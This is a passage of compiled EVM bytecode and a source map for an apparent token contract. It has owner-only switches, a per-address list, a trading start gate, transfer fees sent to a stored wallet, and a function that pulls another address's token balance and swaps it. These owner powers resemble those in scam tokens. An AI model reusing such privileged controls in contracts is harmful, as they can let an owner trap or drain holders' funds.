ffffffffffffffffffff1614610dce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc5906134e3565b60405180910390fd5b8060178190555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e83906134e3565b60405180910390fd5b600060195414610e9d576000610e9f565b435b601981905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f75906134e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611119576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611110906134e3565b60405180910390fd5b8060188190555050565b60606007805461113290613403565b80601f016020809104026020016040519081016040528092919081815260200182805461115e90613403565b80156111ab5780601f10611180576101008083540402835291602001916111ab565b820191906000526020600020905b81548152906001019060200180831161118e57829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461136c578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112609190612ef6565b602060405180830381865afa15801561127d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a1919061358f565b6040518363ffffffff1660e01b81526004016112be9291906135dd565b6020604051808303816000875af11580156112dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611301919061361b565b50600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561136a573d6000803e3d6000fd5b505b50565b600061137c338484611bce565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140b906134e3565b60405180910390fd5b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611483573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a7919061365d565b90508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b815260040161150892919061368a565b6020604051808303816000875af1158015611527573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154b919061361b565b508073ffffffffffffffffffffffffffffffffffffffff166323b872dd86308473ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b81526004016115a39190612ef6565b602060405180830381865afa1580156115c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e4919061358f565b6040518463ffffffff1660e01b8152600401611602939291906136b3565b6020604051808303816000875af1158015611621573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611645919061361b565b5060005b84849050811015611698576116858386868481811061166b5761166a613503565b5b90506020020160208101906116809190612f11565b612082565b808061169090613532565b915050611649565b504360198190555060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016116db9190612ef6565b602060405180830381865afa1580156116f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171c919061358f565b905060008111156117a7578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87836040518363ffffffff1660e01b815260040161176292919061368a565b6020604051808303816000875af1158015611781573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a5919061361b565b505b505050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461183d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611834906134e3565b60405180910390fd5b601660009054906101000a900460ff1615601660006101000a81548160ff021916908315150217905550565b601660009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611991576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611988906134e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f790613736565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611bc19190612e42565b60405180910390a3505050565b6000611bd984610ea7565b905081811015611c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c15906137a2565b60405180910390fd5b600d60009054906101000a900460ff1615611c4557611c3e848484612528565b505061207d565b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611cad5750600d60009054906101000a900460ff16155b8015611d035750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d595750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d685750601554600e54115b15611ddb576000839050611d7b30610ea7565b811115611dc557600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b601754811115611dd957611dd881612646565b5b505b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e7f5750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e985750600d60009054906101000a900460ff16155b1561206e57600060195411611eac57600080fd5b60019050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f575750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611fad5750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561202f57600e6000815480929190611fc590613532565b91905055506000601854111561202e5760185483611fe286610ea7565b611fec91906137c2565b111561202d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202490613842565b60405180910390fd5b5b5b601660009054906101000a900460ff16801561204a57508183145b1561206d576305f5e1008361205f9190613891565b8361206a9190613463565b92505b5b61207a858585846128b4565b50505b505050565b6001600d60006101000a81548160ff0219169083151502179055506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561210c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612130919061365d565b90506000600267ffffffffffffffff81111561214f5761214e613029565b5b60405190808252806020026020018201604052801561217d5781602001602082028036833780820191505090505b509050818160008151811061219557612194613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106121e4576121e3613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600267ffffffffffffffff81111561223b5761223a613029565b5b6040519080825280602002602001820160405280156122695781602001602082028036833780820191505090505b509050308160008151811061228157612280613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816001815181106122d0576122cf613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016123459190612ef6565b602060405180830381865afa158015612362573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612386919061358f565b90506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f88856040518363ffffffff1660e01b81526004016123e7929190613980565b600060405180830381865afa158015612404573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061242d9190613a73565b6001815181106124405761243f613503565b5b602002602001015190508181116124575780612459565b815b90506000810361246d575050505050612509565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d795826000878a426040518663ffffffff1660e01b81526004016124d1959493929190613af7565b600060405180830381600087803b1580156124eb57600080fd5b505af11580156124ff573d6000803e3d6000fd5b5050505050505050505b6000600d60006101000a81548160ff0219169083151502179055505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125799190613463565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125cf91906137c2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126339190612e42565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561267e5761267d613029565b5b6040519080825280602002602001820160405280156126ac5781602001602082028036833780820191505090505b50905030816000815181106126c4576126c3613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561276b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061278f919061365d565b816001815181106127a3576127a2613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612863959493929190613b51565b600060405180830381600087803b15801561287d57600080fd5b505af1158015612891573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ff9190613463565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008115612b53576000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156129bc57601454600e54116129b1576010546129b5565b6012545b9050612a29565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a2857601354600e5411612a2157600f54612a25565b6011545b90505b5b600060648286612a399190613bab565b612a439190613891565b90506000811115612b50578083612a5a91906137c2565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aa791906137c2565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612b479190612e42565b60405180910390a35b50505b8083612b5f9190613463565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba991906137c2565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612c479190613463565b604051612c549190612e42565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c9d578082015181840152602081019050612c82565b60008484015250505050565b6000601f19601f8301169050919050565b6000612cc582612c63565b612ccf8185612c6e565b9350612cdf818560208601612c7f565b612ce881612ca9565b840191505092915050565b60006020820190508181036000830152612d0d8184612cba565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d5482612d29565b9050919050565b612d6481612d49565b8114612d6f57600080fd5b50565b600081359050612d8181612d5b565b92915050565b6000819050919050565b612d9a81612d87565b8114612da557600080fd5b50565b600081359050612db781612d91565b92915050565b60008060408385031215612dd457612dd3612d1f565b5b6000612de285828601612d72565b9250506020612df385828601612da8565b9150509250929050565b60008115159050919050565b612e1281612dfd565b82525050565b6000602082019050612e2d6000830184612e09565b92915050565b612e3c81612d87565b82525050565b6000602082019050612e576000830184612e33565b92915050565b600080600060608486031215612e7657612e75612d1f565b5b6000612e8486828701612d72565b9350506020612e9586828701612d72565b9250506040612ea686828701612da8565b9150509250925092565b600060ff82169050919050565b612ec681612eb0565b82525050565b6000602082019050612ee16000830184612ebd565b92915050565b612ef081612d49565b82525050565b6000602082019050612f0b6000830184612ee7565b92915050565b600060208284031215612f2757612f26612d1f565b5b6000612f3584828501612d72565b91505092915050565b6000612f4982612d29565b9050919050565b612f5981612f3e565b8114612f6457600080fd5b50565b600081359050612f7681612f50565b92915050565b600060208284031215612f9257612f91612d1f565b5b6000612fa084828501612f67565b91505092915050565b600080600080600060a08688031215612fc557612fc4612d1f565b5b6000612fd388828901612da8565b9550506020612fe488828901612da8565b9450506040612ff588828901612da8565b935050606061300688828901612da8565b925050608061301788828901612da8565b9150509295509295909350565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61306182612ca9565b810181811067ffffffffffffffff821117156130805761307f613029565b5b80604052505050565b6000613093612d15565b905061309f8282613058565b919050565b600067ffffffffffffffff8211156130bf576130be613029565b5b602082029050602081019050919050565b600080fd5b60006130e86130e3846130a4565b613089565b9050808382526020820190506020840283018581111561310b5761310a6130d0565b5b835b8181101561313457806131208882612d72565b84526020840193505060208101905061310d565b5050509392505050565b600082601f83011261315357613152613024565b5b81356131638482602086016130d5565b91505092915050565b61317581612dfd565b811461318057600080fd5b50565b6000813590506131928161316c565b92915050565b600080604083850312156131af576131ae612d1f565b5b600083013567ffffffffffffffff8111156131cd576131cc612d24565b5b6131d98582860161313e565b92505060206131ea85828601613183565b9150509250929050565b60006020828403121561320a57613209612d1f565b5b600061321884828501612da8565b91505092915050565b6000819050919050565b600061324661324161323c84612d29565b613221565b612d29565b9050919050565b60006132588261322b565b9050919050565b600061326a8261324d565b9050919050565b61327a8161325f565b82525050565b60006020820190506132956000830184613271565b92915050565b6132a481612f3e565b82525050565b60006020820190506132bf600083018461329b565b92915050565b600080fd5b60008083601f8401126132e0576132df613024565b5b8235905067ffffffffffffffff8111156132fd576132fc6132c5565b5b602083019150836020820283011115613319576133186130d0565b5b9250929050565b6000806000806060858703121561333a57613339612d1f565b5b600061334887828801612d72565b945050602085013567ffffffffffffffff81111561336957613368612d24565b5b613375878288016132ca565b9350935050604061338887828801612da8565b91505092959194509250565b600080604083850312156133ab576133aa612d1f565b5b60006133b985828601612d72565b92505060206133ca85828601612d72565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061341b57607f821691505b60208210810361342e5761342d6133d4565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061346e82612d87565b915061347983612d87565b925082820390508181111561349157613490613434565b5b92915050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b60006134cd601183612c6e565b91506134d882613497565b602082019050919050565b600060208201905081810360008301526134fc816134c0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061353d82612d87565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361356f5761356e613434565b5b600182019050919050565b60008151905061358981612d91565b92915050565b6000602082840312156135a5576135a4612d1f565b5b60006135b38482850161357a565b91505092915050565b60006135c78261324d565b9050919050565b6135d7816135bc565b82525050565b60006040820190506135f260008301856135ce565b6135ff6020830184612e33565b9392505050565b6000815190506136158161316c565b92915050565b60006020828403121561363157613630612d1f565b5b600061363f84828501613606565b91505092915050565b60008151905061365781612d5b565b92915050565b60006020828403121561367357613672612d1f565b5b600061368184828501613648565b91505092915050565b600060408201905061369f6000830185612ee7565b6136ac6020830184612e33565b9392505050565b60006060820190506136c86000830186612ee7565b6136d56020830185612ee7565b6136e26040830184612e33565b949350505050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000613720600883612c6e565b915061372b826136ea565b602082019050919050565b6000602082019050818103600083015261374f81613713565b9050919050565b7f62616c616e63654e6f74456e6f75676800000000000000000000000000000000600082015250565b600061378c601083612c6e565b915061379782613756565b602082019050919050565b600060208201905081810360008301526137bb8161377f565b9050919050565b60006137cd82612d87565b91506137d883612d87565b92508282019050808211156137f0576137ef613434565b5b92915050565b7f77616c6c65746c696d6974000000000000000000000000000000000000000000600082015250565b600061382c600b83612c6e565b9150613837826137f6565b602082019050919050565b6000602082019050818103600083015261385b8161381f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061389c82612d87565b91506138a783612d87565b9250826138b7576138b6613862565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6138f781612d49565b82525050565b600061390983836138ee565b60208301905092915050565b6000602082019050919050565b600061392d826138c2565b61393781856138cd565b9350613942836138de565b8060005b8381101561397357815161395a88826138fd565b975061396583613915565b925050600181019050613946565b5085935050505092915050565b60006040820190506139956000830185612e33565b81810360208301526139a78184613922565b90509392505050565b600067ffffffffffffffff8211156139cb576139ca613029565b5b602082029050602081019050919050565b60006139ef6139ea846139b0565b613089565b90508083825260208201905060208402830185811115613a1257613a116130d0565b5b835b81811015613a3b5780613a27888261357a565b845260208401935050602081019050613a14565b5050509392505050565b600082601f830112613a5a57613a59613024565b5b8151613a6a8482602086016139dc565b91505092915050565b600060208284031215613a8957613a88612d1f565b5b600082015167ffffffffffffffff811115613aa757613aa6612d24565b5b613ab384828501613a45565b91505092915050565b6000819050919050565b6000613ae1613adc613ad784613abc565b613221565b612d87565b9050919050565b613af181613ac6565b82525050565b600060a082019050613b0c6000830188612e33565b613b196020830187613ae8565b8181036040830152613b2b8186613922565b9050613b3a6060830185612ee7565b613b476080830184612e33565b9695505050505050565b600060a082019050613b666000830188612e33565b613b736020830187613ae8565b8181036040830152613b858186613922565b9050613b9460608301856135ce565b613ba16080830184612e33565b9695505050505050565b6000613bb682612d87565b9150613bc183612d87565b9250828202613bcf81612d87565b91508282048414831517613be657613be5613434565b5b509291505056fea264697066735822122025f22c0713ecd0732ec07d310189fcccbfda13438b285b810f39c34365273d0364736f6c63430008130033

Deployed Bytecode Sourcemap

3260:10753:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5456:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6269:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5660:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8381:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6461:404;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7359:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5558:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3502:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3764:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5254:88;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3898:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7692:406;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4024:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11338:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13743:230;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8271:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3855:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11377:115;;;;;;;;;;;;;:::i;:::-;;5768:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2883:148;;;;;;;;;;;;;:::i;:::-;;3580:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2686:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8415:97;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5350:98;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13042:288;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5895:190;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11500:675;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8146:88;;;;;;;;;;;;;:::i;:::-;;8106:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6093:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3039:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3429:66;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5456:94;5504:13;5537:5;5530:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5456:94;:::o;6269:184::-;6369:4;6386:37;6395:10;6407:7;6416:6;6386:8;:37::i;:::-;6441:4;6434:11;;6269:184;;;;:::o;5660:100::-;5713:7;5740:12;;5733:19;;5660:100;:::o;8381:25::-;;;;:::o;6461:404::-;6593:4;6610:36;6620:6;6628:9;6639:6;6610:9;:36::i;:::-;4015:1;4006:11;6661;:19;6673:6;6661:19;;;;;;;;;;;;;;;:31;6681:10;6661:31;;;;;;;;;;;;;;;;:38;6657:179;;6818:6;6767:11;:19;6779:6;6767:19;;;;;;;;;;;;;;;:31;6787:10;6767:31;;;;;;;;;;;;;;;;:57;;;;:::i;:::-;6716:11;:19;6728:6;6716:19;;;;;;;;;;;;;;;:31;6736:10;6716:31;;;;;;;;;;;;;;;:108;;;;6657:179;6853:4;6846:11;;6461:404;;;;;:::o;7359:28::-;;;;:::o;5558:94::-;5610:5;5635:9;;;;;;;;;;;5628:16;;5558:94;:::o;3502:71::-;;;;;;;;;;;;;:::o;3764:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;5254:88::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;5328:6:::1;5322:3;;:12;;;;;;;;;;;;;;;;;;5254:88:::0;:::o;3898:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;7692:406::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;7914:6:::1;7899:12;:21;;;;7947:7;7931:13;:23;;;;7983:12;7965:15;:30;;;;8025:13;8006:16;:32;;;;8070:20;8049:18;:41;;;;7692:406:::0;;;;;:::o;4024:27::-;;;;;;;;;;;;;:::o;11338:30::-;;;;:::o;13743:230::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;13863:6:::1;13858:108;13879:8;:15;13875:1;:19;13858:108;;;13949:5;13916:17;:30;13934:8;13943:1;13934:11;;;;;;;;:::i;:::-;;;;;;;;13916:30;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;13896:3;;;;;:::i;:::-;;;;13858:108;;;;13743:230:::0;;:::o;8271:102::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;8357:8:::1;8342:12;:23;;;;8271:102:::0;:::o;3855:36::-;;;;;;;;;;;;;:::o;11377:115::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;11464:1:::1;11445:15;;:20;:39;;11483:1;11445:39;;;11468:12;11445:39;11427:15;:57;;;;11377:115::o:0;5768:119::-;5834:7;5861:9;:18;5871:7;5861:18;;;;;;;;;;;;;;;;5854:25;;5768:119;;;:::o;2883:148::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;2990:1:::1;2953:40;;2974:6;::::0;::::1;;;;;;;;2953:40;;;;;;;;;;;;3021:1;3004:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2883:148::o:0;3580:89::-;;;;;;;;;;;;;:::o;2686:79::-;2724:7;2751:6;;;;;;;;;;;2744:13;;2686:79;:::o;8415:97::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;8496:8:::1;8483:10;:21;;;;8415:97:::0;:::o;5350:98::-;5400:13;5433:7;5426:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5350:98;:::o;13042:288::-;13121:4;13103:23;;:6;:23;;;13099:224;;13150:6;13143:23;;;13185:3;;;;;;;;;;;13214:6;13207:24;;;13240:4;13207:39;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13143:118;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13276:3;;;;;;;;;;;:12;;:35;13289:21;13276:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13099:224;13042:288;:::o;5895:190::-;5998:4;6015:40;6025:10;6037:9;6048:6;6015:9;:40::i;:::-;6073:4;6066:11;;5895:190;;;;